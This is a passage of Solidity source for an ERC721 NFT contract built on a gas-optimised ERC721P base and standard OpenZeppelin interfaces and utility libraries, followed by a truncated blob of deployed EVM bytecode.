https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.10; import "ERC721P.sol"; import "IERC721Enumerable.sol"; abstract contract ERC721Enum is ERC721P, IERC721Enumerable { function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721P) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256 tokenId) { require(index < ERC721P.balanceOf(owner), "ERC721Enum: owner ioob"); uint256 count; for (uint256 i; i < _owners.length; ++i) { if (owner == _owners[i]) { if (count == index) return i; else ++count; } } require(false, "ERC721Enum: owner ioob"); } function tokensOfOwner(address owner) public view returns (uint256[] memory) { require(0 < ERC721P.balanceOf(owner), "ERC721Enum: owner ioob"); uint256 tokenCount = balanceOf(owner); uint256[] memory tokenIds = new uint256[](tokenCount); for (uint256 i = 0; i < tokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(owner, i); } return tokenIds; } function totalSupply() public view virtual override returns (uint256) { return _owners.length; } function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enum.totalSupply(), "ERC721Enum: global ioob"); return index; } } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.10; import "IERC721.sol"; import "IERC721Receiver.sol"; import "IERC721Metadata.sol"; import "Address.sol"; import "Context.sol"; import "ERC165.sol"; abstract contract ERC721P is Context, ERC165, IERC721, IERC721Metadata { using Address for address; string private _name; string private _symbol; address[] internal _owners; mapping(uint256 => address) private _tokenApprovals; mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); uint256 count = 0; uint256 length = _owners.length; for (uint256 i = 0; i < length; ++i) { if (owner == _owners[i]) { ++count; } } delete length; return count; } function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721P.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _transfer(from, to, tokenId); } function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _safeTransfer(from, to, tokenId, _data); } function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } function _exists(uint256 tokenId) internal view virtual returns (bool) { return tokenId < _owners.length && _owners[tokenId] != address(0); } function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721P.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _owners.push(to); emit Transfer(address(0), to, tokenId); } function _burn(uint256 tokenId) internal virtual { address owner = ERC721P.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _owners[tokenId] = address(0); emit Transfer(owner, address(0), tokenId); } function _transfer( address from, address to, uint256 tokenId ) internal virtual { require( ERC721P.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own" ); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _owners[tokenId] = to; emit Transfer(from, to, tokenId); } function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721P.ownerOf(tokenId), to, tokenId); } function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); }
0x6080604052600436106101cd5760003560e01c806370a08231116100f7578063a035b1fe11610095578063cd85cdb511610064578063cd85cdb514610510578063e985e9c51461052a578063f59e26d014610573578063f676308a1461059357600080fd5b8063a035b1fe1461049a578063a22cb465146104b0578063b88d4fde146104d0578063c87b56dd146104f057600080fd5b80638da5cb5b116100d15780638da5cb5b1461041c5780638ecad7211461045057806391b7f5ed1461046557806395d89b411461048557600080fd5b806370a08231146103ba5780638462151c146103da578063853828b61461040757600080fd5b806323cf0a221161016f5780634f6ccce71161013e5780634f6ccce71461034557806355f804b3146103655780636352211e146103855780636c0360eb146103a557600080fd5b806323cf0a22146102dc57806324cd3680146102ef5780632f745c591461030557806342842e0e1461032557600080fd5b8063095ea7b3116101ab578063095ea7b314610261578063163119481461028357806318160ddd146102a757806323b872dd146102bc57600080fd5b806301ffc9a7146101d257806306fdde0314610207578063081812fc14610229575b600080fd5b3480156101de57600080fd5b506101f26101ed366004611926565b6105b3565b60405190151581526020015b60405180910390f35b34801561021357600080fd5b5061021c6105de565b6040516101fe919061199b565b34801561023557600080fd5b506102496102443660046119ae565b610670565b6040516001600160a01b0390911681526020016101fe565b34801561026d57600080fd5b5061028161027c3660046119e3565b6106fd565b005b34801561028f57600080fd5b5061029960055481565b6040519081526020016101fe565b3480156102b357600080fd5b50600254610299565b3480156102c857600080fd5b506102816102d7366004611a0d565b610813565b6102816102ea366004611a49565b610844565b3480156102fb57600080fd5b5061029961138881565b34801561031157600080fd5b506102996103203660046119e3565b6109b4565b34801561033157600080fd5b50610281610340366004611a0d565b610a63565b34801561035157600080fd5b506102996103603660046119ae565b610a7e565b34801561037157600080fd5b50610281610380366004611af9565b610adb565b34801561039157600080fd5b506102496103a03660046119ae565b610afa565b3480156103b157600080fd5b5061021c610b86565b3480156103c657600080fd5b506102996103d5366004611b42565b610c14565b3480156103e657600080fd5b506103fa6103f5366004611b42565b610ce6565b6040516101fe9190611b5d565b34801561041357600080fd5b50610281610db0565b34801561042857600080fd5b506102497f000000000000000000000000f05da6731212f86ed2cea46aa26b8831e44a590581565b34801561045c57600080fd5b50610299600a81565b34801561047157600080fd5b506102816104803660046119ae565b610e7c565b34801561049157600080fd5b5061021c610e89565b3480156104a657600080fd5b5061029960065481565b3480156104bc57600080fd5b506102816104cb366004611bb1565b610e98565b3480156104dc57600080fd5b506102816104eb366004611be4565b610f5d565b3480156104fc57600080fd5b5061021c61050b3660046119ae565b610f95565b34801561051c57600080fd5b506007546101f29060ff1681565b34801561053657600080fd5b506101f2610545366004611c60565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205460ff1690565b34801561057f57600080fd5b5061028161058e366004611c8a565b611062565b34801561059f57600080fd5b506102816105ae3660046119ae565b61107d565b60006001600160e01b0319821663780e9d6360e01b14806105d857506105d88261108a565b92915050565b6060600080546105ed90611ca5565b80601f016020809104026020016040519081016040528092919081815260200182805461061990611ca5565b80156106665780601f1061063b57610100808354040283529160200191610666565b820191906000526020600020905b81548152906001019060200180831161064957829003601f168201915b5050505050905090565b600061067b826110da565b6106e15760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600360205260409020546001600160a01b031690565b600061070882610afa565b9050806001600160a01b0316836001600160a01b031614156107765760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b60648201526084016106d8565b336001600160a01b038216148061079257506107928133610545565b6108045760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016106d8565b61080e8383611124565b505050565b61081d3382611192565b6108395760405162461bcd60e51b81526004016106d890611ce0565b61080e83838361127c565b60075460ff16156108855760405162461bcd60e51b815260206004820152600b60248201526a1b5a5b9d081c185d5cd95960aa1b60448201526064016106d8565b600061089060025490565b9050600a8261ffff1611156108d45760405162461bcd60e51b815260206004820152600a60248201526909ac2f06260e0cae4a8b60b31b60448201526064016106d8565b6113886108e561ffff841683611d47565b111561091d5760405162461bcd60e51b81526020600482015260076024820152661cdbdb191bdd5d60ca1b60448201526064016106d8565b60055481111561097a578161ffff166006546109399190611d5f565b34101561097a5760405162461bcd60e51b815260206004820152600f60248201526e0dcdee840cadcdeeacee8d040cae8d608b1b60448201526064016106d8565b60005b8261ffff168160ff16101561080e576109a23361099d60ff841685611d47565b6113d2565b806109ac81611d7e565b91505061097d565b60006109bf83610c14565b82106109dd5760405162461bcd60e51b81526004016106d890611d9e565b6000805b600254811015610a4a57600281815481106109fe576109fe611dce565b6000918252602090912001546001600160a01b0386811691161415610a3a5783821415610a2e5791506105d89050565b610a3782611de4565b91505b610a4381611de4565b90506109e1565b5060405162461bcd60e51b81526004016106d890611d9e565b61080e83838360405180602001604052806000815250610f5d565b6000610a8960025490565b8210610ad75760405162461bcd60e51b815260206004820152601760248201527f455243373231456e756d3a20676c6f62616c20696f6f6200000000000000000060448201526064016106d8565b5090565b610ae36113ec565b8051610af6906008906020840190611880565b5050565b60008060028381548110610b1057610b10611dce565b6000918252602090912001546001600160a01b03169050806105d85760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b60648201526084016106d8565b60088054610b9390611ca5565b80601f0160208091040260200160405190810160405280929190818152602001828054610bbf90611ca5565b8015610c0c5780601f10610be157610100808354040283529160200191610c0c565b820191906000526020600020905b815481529060010190602001808311610bef57829003601f168201915b505050505081565b60006001600160a01b038216610c7f5760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b60648201526084016106d8565b600254600090815b81811015610cdd5760028181548110610ca257610ca2611dce565b6000918252602090912001546001600160a01b0386811691161415610ccd57610cca83611de4565b92505b610cd681611de4565b9050610c87565b50909392505050565b6060610cf182610c14565b600010610d105760405162461bcd60e51b81526004016106d890611d9e565b6000610d1b83610c14565b905060008167ffffffffffffffff811115610d3857610d38611a6d565b604051908082528060200260200182016040528015610d61578160200160208202803683370190505b50905060005b82811015610da857610d7985826109b4565b828281518110610d8b57610d8b611dce565b602090810291909101015280610da081611de4565b915050610d67565b509392505050565b610db86113ec565b4780610df15760405162461bcd60e51b81526020600482015260086024820152674e6f206d6f6e657960c01b60448201526064016106d8565b610e2573b0039c1f0b355cbe011b97bb75827291ba6d78cb6064610e1684601e611d5f565b610e209190611e15565b611452565b610e4a73642559efb3c1e94a30abbcba431f818fbd5078206064610e1684601e611d5f565b610e6f731d3c99d01329b2d98cc3a7fa5178ab4a31f7c1556064610e1684601e611d5f565b610e793347611452565b50565b610e846113ec565b600655565b6060600180546105ed90611ca5565b6001600160a01b038216331415610ef15760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016106d8565b3360008181526004602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b610f673383611192565b610f835760405162461bcd60e51b81526004016106d890611ce0565b610f8f848484846114e7565b50505050565b6060610fa0826110da565b6110035760405162461bcd60e51b815260206004820152602e60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526d6e6578697374656e74206d656f7760901b60648201526084016106d8565b600061100d61151a565b9050600081511161102d576040518060200160405280600081525061105b565b8061103784611529565b600960405160200161104b93929190611e29565b6040516020818303038152906040525b9392505050565b61106a6113ec565b6007805460ff1916911515919091179055565b6110856113ec565b600555565b60006001600160e01b031982166380ac58cd60e01b14806110bb57506001600160e01b03198216635b5e139f60e01b145b806105d857506301ffc9a760e01b6001600160e01b03198316146105d8565b600254600090821080156105d8575060006001600160a01b03166002838154811061110757611107611dce565b6000918252602090912001546001600160a01b0316141592915050565b600081815260036020526040902080546001600160a01b0319166001600160a01b038416908117909155819061115982610afa565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b600061119d826110da565b6111fe5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016106d8565b600061120983610afa565b9050806001600160a01b0316846001600160a01b031614806112445750836001600160a01b031661123984610670565b6001600160a01b0316145b8061127457506001600160a01b0380821660009081526004602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b031661128f82610afa565b6001600160a01b0316146112f75760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b60648201526084016106d8565b6001600160a01b0382166113595760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b60648201526084016106d8565b611364600082611124565b816002828154811061137857611378611dce565b6000918252602082200180546001600160a01b0319166001600160a01b03938416179055604051839285811692908716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9190a4505050565b610af6828260405180602001604052806000815250611627565b336001600160a01b037f000000000000000000000000f05da6731212f86ed2cea46aa26b8831e44a590516146114505760405162461bcd60e51b815260206004820152600960248201526837b7363ca7bbb732b960b91b60448201526064016106d8565b565b6000826001600160a01b03168260405160006040518083038185875af1925050503d806000811461149f576040519150601f19603f3d011682016040523d82523d6000602084013e6114a4565b606091505b505090508061080e5760405162461bcd60e51b815260206004820152600f60248201526e151c985b9cd9995c8819985a5b1959608a1b60448201526064016106d8565b6114f284848461127c565b6114fe8484848461165a565b610f8f5760405162461bcd60e51b81526004016106d890611eed565b6060600880546105ed90611ca5565b60608161154d5750506040805180820190915260018152600360fc1b602082015290565b8160005b8115611577578061156181611de4565b91506115709050600a83611e15565b9150611551565b60008167ffffffffffffffff81111561159257611592611a6d565b6040519080825280601f01601f1916602001820160405280156115bc576020820181803683370190505b5090505b8415611274576115d1600183611f3f565b91506115de600a86611f56565b6115e9906030611d47565b60f81b8183815181106115fe576115fe611dce565b60200101906001600160f81b031916908160001a905350611620600a86611e15565b94506115c0565b6116318383611758565b61163e600084848461165a565b61080e5760405162461bcd60e51b81526004016106d890611eed565b60006001600160a01b0384163b1561174d57604051630a85bd0160e11b81526001600160a01b0385169063150b7a029061169e903390899088908890600401611f6a565b6020604051808303816000875af19250505080156116d9575060408051601f3d908101601f191682019092526116d691810190611fa7565b60015b611733573d808015611707576040519150601f19603f3d011682016040523d82523d6000602084013e61170c565b606091505b50805161172b5760405162461bcd60e51b81526004016106d890611eed565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611274565b506001949350505050565b6001600160a01b0382166117ae5760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016106d8565b6117b7816110da565b156118045760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000060448201526064016106d8565b6002805460018101825560009182527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3a